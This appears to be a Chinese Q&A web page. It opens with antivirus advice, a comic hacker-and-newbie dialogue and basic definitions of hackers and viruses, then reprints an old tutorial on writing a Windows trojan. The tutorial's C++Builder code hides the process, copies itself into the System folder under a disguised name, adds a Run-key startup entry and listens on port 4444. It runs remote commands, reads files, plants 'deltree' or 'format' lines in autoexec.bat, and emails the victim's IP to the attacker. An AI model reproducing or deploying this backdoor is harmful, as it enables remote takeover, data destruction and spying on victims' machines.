本文目录一览：
遇到病毒木马漏洞黑客怎么办？
建议你安装腾讯电脑管家，这个的安全防护功能可以保护你的电脑安全，网购、u盘等等可以为你提供特殊保护，而且无需单独开启，很方便也很安全，推荐你试试\
以下是腾讯电脑管家的常用功能操作步骤
查杀步骤：打开腾讯电脑管家——选择杀毒——闪电查杀——处理病毒
卸载步骤：打开腾讯电脑管家——软件管理——卸载软件
清理步骤：打开腾讯电脑管家——垃圾清理——开始扫描——清理
加速步骤：打开腾讯电脑管家——电脑加速—一键优化
蓝屏修复步骤：打开腾讯电脑管家——电脑诊所——搜索【蓝屏】——立即解决
体检步骤：打开腾讯电脑管家——全面体验——根据结果优化系统
漏洞修复步骤：打开腾讯电脑管家——快速体验——修复漏洞
黑客与电脑小白对话全集有哪些？
黑客：我控制了你的电脑
小白：怎么控制的？
黑客：用木马
小白：。。。。。。在哪里？我没看不见
黑客：打开你的任务管理器
小白：。。。。。。。任务管理器在哪？
黑客：。。。。。你的电脑下面！！
小白：“我的电脑”里面没有啊
黑客：算了，当我什么也没做过
黑客：我已经控制了你的电脑
小白：哦
黑客：害怕了吧？！嘿嘿
小白：来的正好，帮我杀杀毒吧，最近我的机子毛病很多耶
黑客：。。。。。。
小白：你怎么总是在我电脑里随便进进出出
黑客：你可以装防火墙
小白：装防火墙，你就不能进入了吗？
黑客：不啊，我只是想增加点趣味性，这样控制你的电脑让我觉得很白痴耶
小白：听说你会制造“病毒”？！
黑客：嗯.
小白：你可以控制别人的电脑？！
黑客：一般是的
小白：那你可以黑掉那些网站吗？
黑客：当然，没听到人家叫我“黑客”吗？
小白：。。。。哦~~~`我还以为那是因为你长得很黑。。。。。
“咣~~”
黑客：我又来了！！
小白：你天天进来，不觉得很烦吗？
黑客：是很烦，你的机子是我见过的最烂的一台了
小白：不是吧，这可是名牌
黑客：我是说你的机子里除了弱智游戏就只有病毒了
小白：哦~~那你看到我的“连连看”了吗，不记得装在哪，找了好久了耶
黑客：。。。。。再见
黑客：嗨~~~我来了！
小白：好几天不见你，被我的防火墙挡住啦？
黑客：哈哈，笑话，上你的机子比我自己的还容易，不是想我了吧
小白：我是想请你帮一个忙
黑客：什么事？
小白：你能不能进入电力系统修改一点数据
黑客：。。。。。。你想干嘛！！
小白：求求你，帮我把我家这个月的电费消了吧。。。。。。
黑客：去死！！
黑客：你死哪去了？！！！
小白：。。。。出去玩了几天啊，找我干嘛
黑客：我要找点东西
小白：在我这儿找什么东西？
黑客：病毒，找一条前几年的老病毒，只有你的机子上病毒保存的最全啦
黑客：我来了！！
。。。。。。
黑客：怎么不说话？
小白：心情不好
黑客：谁欺负你了？
小白：我的一个Q号搞丢了，里面有我的网上初恋
黑客：这个简单，我帮你拿回来
小白：拿不回来了
黑客：不可能，告诉我，多少号？
小白：呜~~~~就是不记得了
小白：你给我出来！！！！
黑客：怎么啦？！
小白：你是不是用我的ID去论坛玩了？！！
黑客：。。。。不好意思，忘了告诉你了，不过，我没干坏事，就瞎编了个贴子，我保证下次再也不玩了
小白：那不行！！！
黑客：你还要怎么样？
小白：你发的贴子得红脸了耶，我第一次得红脸，好开心哦，你必须再给我编一个
黑客：倒！
黑客：嘿嘿，刚才我做了一件很有趣的事
小白：什么事
黑客：我到论坛上去顶贴了
小白：这很平常啊
黑客：我见贴就顶，尽情的骂楼主是猪，好解气
小白：哇塞，太过瘾了，我可从来不敢，会被封杀的！
黑客：没错，已经被封杀了。
小白：这还有趣？！
黑客：是啊，因为我用的是你的ID
小白：你是高手吗？
黑客：可以说是吧。
小白：高到什么程度？
黑客：嗯，我无聊的时候就自己黑自己
小白：哈，这个我也会！
黑客：#￥%！你也可以？！
小白：是啊，一关机它就黑了。。。。。
黑客：滚
小白:我想买个笔记本
黑客:软面抄还是硬面抄?
小白:晕倒,是笔记本电脑啦!
黑客:你买那个干什么?
小白:玩游戏、上网,关键是要漂亮、轻巧,方便带出去,最最重要的是一定要比隔壁阿花用的神气,你说我买哪种好呢?
黑客:这么高的要求啊,"文曲星"吧,最适合你啦!
小白:你会玩CS吗?
黑客:还可以了!
小白:那你会甩枪吗?
黑客:不就ju击枪吗?会!!!
小白:我也会!
黑客:你也会?
小白:当然!买枪以后,按G键!就甩了!然后再拣起来,再甩!
黑客:……………………
小白:你能帮我个忙吗?
黑客:只要是网络上的,说!!!
小白:我在玩---跑跑卡丁车..你帮我去偷一个由8个排气筒的车!
黑客:那是在韩国服务器里面才有的!
小白:我不管!!!你从韩国给我偷过来!我要在中国用!那我不就很牛了!呵呵~~~!
黑客:……………………我还有事,我先走了!
小白:你会玩劲舞团吗?
黑客:会!干嘛?
小白:你帮我弄个汤姆.克鲁斯上来!我好稀饭他呀!让他陪我跳舞!:）
黑客:88
黑客:我想问你一个问题
小白:问吧
黑客:............你有男朋友吗?
小白:有!
黑客:..........他是什么样的人?
小白:高大、英俊、威猛,开大公司,对我超级好..
黑客:哦,有点事我先走了......
小白:喂~喂喂~~~~~
小白:咦,怎么好久没看到你啊,被抓了?!
黑客:..........没有,挺忙的,你还好吗
小白:好啊,我也挺忙的,我把连连看玩通关了!!
黑客:..........你和男朋友还好吧
小白:男朋友?什么男朋友?
黑客:你不是有个高大英俊威猛的男朋友吗?!
小白:哦哦~~~~瞎编的,怕你小看我........
黑客:......你、这个超级大笨蛋!!!!
黑客:..............我喜欢你
小白:病毒?
黑客:什么病毒啊?我是说很不幸,我发现我很喜欢你
小白:又忽悠我,你总骂我白痴的
黑客:对啊,你就是个大白痴,但我为了维持世界和平,决定牺牲自己,免得你去祸害他人..电脑调教吧，教你美化个性电脑
小白：你真的喜欢我吗
黑客：。。。。。嗯
小白：有多喜欢
黑客：就是不见的时候心里空空的疼，见了呢，头很疼
小白：哦，明白了
黑客：？？你明白什么了？
小白：原来你对我，就像一个有蛀牙的小孩面对巧克力！
黑客：笔记本你可以买这款
小白：哦，这个好吗
黑客：配置不错，牌子和售后都不错
小白：这个无所谓，重要的是都有什么颜色？
黑客：。。。。。。只有黑色
小白：啊？！难道这些商家不考虑消费心理，不知道加点颜色或者做成汉堡包的样子吗？
黑客：嗯，要不先去玩具柜台看看？！
小白：你是个浪漫的人吗？
黑客：。。。。。一般吧
小白：我要星星！
黑客：明天给你买
小白：。。。。。。我要天上的！！
黑客：哪颗？
小白：那个，最亮的！
黑客：嗯，好吧，我正式宣布，头顶上这颗最亮的星从现在起，被命名为“小白星”，任何人，不，任何生物未经小白允许都不得擅自侵入，土地使用证和最终解释权都归小白所有，满意不？！电脑调教吧，教你美化个性电脑
小白：满意了！：）
一天,一陌生人加了黑客.
陌生人:你好
黑客:闲人勿扰
陌生人:我是美女!不许对美女这么没礼貌
黑客:可惜,我已经有喜欢的人了
陌生人:我比你喜欢的人漂亮100倍
黑客:但她在我心理是最美的
陌生人:好肉麻
黑客:恕不奉陪
陌生人:喂....
....
黑客(暗爽):小白,小白,连IP都没变还想考验我??
小白:诶呀
黑客:又怎么了?
小白:我的网上银行帐号密码是什么?
黑客:（又乱买东西，幸好把她的银行帐号密码没收了|||）看中什么?
小白:没有啦,订外卖.对面系花说有种外国大饼挺好吃的
黑客:哦,是那种那种大饼啊,没营养……
小白：可是我想吃啊
黑客：（劝说劝说，无效无效）……吃了会长成小肥猪哦
小白：那不吃了可是我饿
黑客：乖啊乖啊，我马上过来做给你吃
小白：那我要吃上次的黑森林蛋糕，上上次的牛排大餐，上上上次的糖醋排骨……
电脑调教吧，教你美化个性电脑
黑客：（上辈子欠你的我？）知道了==
……（时光飞逝）
小白：诶呀
黑客：宝宝怎么了？
小白：要毕业了，宿舍电脑肯定不能用了。我要买新的，但银行帐号密码还是没有想起来，555
黑客：……（伤感ing）
小白：不过新电脑没病毒，要是找不到你怎么办？谁来给我做好吃的，谁来帮我打怪升级挂QQ，谁来提醒我日程安排，谁来陪我聊天看电影？
黑客：（这丫头！！！！）
小白：真有点舍不得。我借房的新地址：XX小区XO楼CJ室，记得尽快来帮我装病毒哦。
黑客：宝宝……（你丫自找的，但还真TMD有点感动==）你的帐户密码是：52052059420、201314
小白：啊！真的可以登陆呢！怎么多了这么多？！原来明明只有几千块。银行利息原来这么高啊~
黑客：（无力）废话，我N年的薪水奖金全放进去了能不多么。你新电脑早准备好了，明天就送到给你先玩着熟悉起来。吃完早饭，顺便跟我到房屋中介那边看房子吧，借房子多不舒服，咱买自己的。我已经看中两套了，你只要二选一就OK……早点休息，明天早起呢~电脑调教吧，教你轻松处理故障
小白：嗯
黑客：今天去看新房吧，决定下你喜欢哪套
小白：好哦～
(参观到第二套)
黑客：两个你都看过了，决定下更喜欢哪个吧，完了可以尽早搬过来（背身擦口水ING）
小白：嘿嘿～两个都喜欢，真难决定～第一套的厨房大，可以放个大点的冰箱省得总出去买菜XD～这套卧室大，我一个人住也没什么用。
黑客：真没办法，我可以跟你住了
小白：真的？？太好了～有你在我的电脑就有安全保障了～～
黑客：那是，不过你得付出代价
小白：啊啊？虾米虾米？偶很穷地～o_o～黑客（慢慢靠近，把小白压在墙上）：这个代价是你付的起的
小白（呼吸困难小小挣扎ING）：虾米……代价？
黑客（低头扣紧小白双手逼近香唇）
小白（昏厥）
（10分钟后）
黑客：喂！喂！！醒醒！！！
小白（眼神猛然变了，手腕一紧扑倒黑客强吻上去）：你要我付出代价？好啊，看你承受不承受的起了！
黑客（猛汗，怎么跟想的不一样？）：呜……呜……嗯…………电脑调教吧，轻松学电脑知识
小白（将黑客压在新房地板上）：我决定了，要这套房，卧室用KINGSIZE的双人床！今天就让你体验下这卧室的感受！
黑客（挣扎ING，力气这么大？）:NND我会五毒虫，网银大盗，木马，冲击波（省略3500字），你不乖乖翻身过去让我上，我就让你的电脑没法上！
小白（听病毒名晕倒鸟）
（10分钟后）
小白（睁眼天真状）：诶？我怎么在你身上？
黑客（汗...双重人格么...）
黑客:新电脑好用么?
小白:不好用~~
黑客:怎么会不好用
小白:我按照以前的位置去找,一个按键都找不到啊...你是不是报复我啊~~~我又不是故意的~~~55555
黑客:........(我只是帮你配置了最新的软件啊~~~)
时光飞逝~~~
黑客：我回来了！恩？人呢？
小白：回来了？这儿呢！
黑客：蹲这干什么呢？………！！！！（爆）你在干什么？？？
小白：哦，刚才才发现键盘好脏，清理一下。
黑客：（当初为什么不买个防水的）……等一下，这一堆是什么？
小白：唉！你不晓得那缝隙有多脏，干脆，我就把按键全拆下来一起洗，看！多方便，呵呵。
电脑调教吧，打造安全电脑
黑客：娶了这样的老婆………………
黑客指的是什么？电脑病毒指的是什么？怎么防范这些东西？
黑客最早源自英文hacker，早期在美国的电脑界是带有褒义的。但在媒体报道中，黑客一词往往指那些“软件骇客”(software cracker)。黑客一词，原指热心于计算机技术，水平高超的电脑专家，尤其是程序设计人员。但到了今天，黑客一词已被用于泛指那些专门利用电脑网络搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker，有人翻译成“骇客”。
编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒（Computer Virus）。具有破坏性，复制性和传染性。
建议安装杀毒软件和防火墙，这样能够保证你的计算机安全，再有就是对计算机做一定的设置，禁用来宾账户，设置管理员密码，关闭共享服务，关闭远程桌面，再有就是禁用掉自己不需要使用的端口。
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序，一段可执行码。就像生物病毒一样，计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延，又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时，它们就随
同文件一起蔓延开来。
除复制能力外，某些计算机病毒还有其它一些共同特性：一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时，它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序，它仍然能通过占据存贮空间给你带来麻烦，并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体（如磁盘、内存）或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质（或程序）里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考：
木马是如何编写的（一）
武汉 周侃
特洛依木马这个名词大家应该不陌生，自从98年“死牛崇拜”黑客小组公布Back Orifice以来，木马犹如平地上的惊雷，使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。
我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！呵呵，要知道，木马（Trojan）的历史是很悠久的：早在ATT Unix和BSD Unix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的，对网络可以说很陌生。直到Win9x横空出世，尤其是WinNt的普及，大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Win9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马，听起来很Cool是不是？！木马一定是由两部分组成??服务器程序（Server）和客户端程序（Client），服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（一般是TCP/IP协议）。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder（以下简称BCB）；VC虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；Delphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO2000源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗？
启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程（Service Process）就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt：
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x，不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了（害我敲了这么多代码！）。为什么要判断操作系统呢？因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到%System%目录下，例如：C:\Windows\System，并修改注册表，以便启动时自动加载：
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串，使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象，准备修改注册表，这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之
try
{
file://如果以下语句发生异常，跳至catch，以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是，就写入以上键值和内容
}
catch(...)
{
file://如果有错误，什么也不做
}
}
好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。
接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^）。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用控制端口（FTP Control Port）；同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat，作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端（攻击者，也就是你自己）传来的数据
}
好，大门敞开了！接着就是修改目标机的各种配置了！^_^ 首先我们来修改Autoexec.bat和Config.sys吧：
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型，存入file_name变量
file://为什么要取第11个字符，因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在，创建之；如果存在，准备在其后添加
file://如果出错，文件指针为空，这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧？！
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲?：
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写；如果此文件已存在，则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功（真有耐心！）
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”，证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录，则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量，如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧？！察看目录树这么费劲啊？！你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容，即你查看文件的内容
}
}
咳咳！累死了！还是来点轻松的吧??操纵目标机的光驱（注意：mciSendString()函数的声明在mmsystem.h头文件中）：
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环，让他的光驱好好活动活动！^_^
}
}
接着就是交换目标机的鼠标左右键，代码如下：
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键，简单吧？
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利，一个普通的进程是不应具备有调用系统的权利的，因此我们要赋予本程序足够的权限：
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt，不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是，就让它在Dos窗口中执行传来的命令：
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat，如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况（判断是否是一个企业的局域网），然后可以进一步攻击，比如Deltree和Format命令。^_^
到此，服务器程序的功能已全部完成，但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友，别走开！（未完待续）
木马是如何编写的（三）
武汉 周侃
上次已编写完服务器端的各种功能，但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器，如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱，这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接
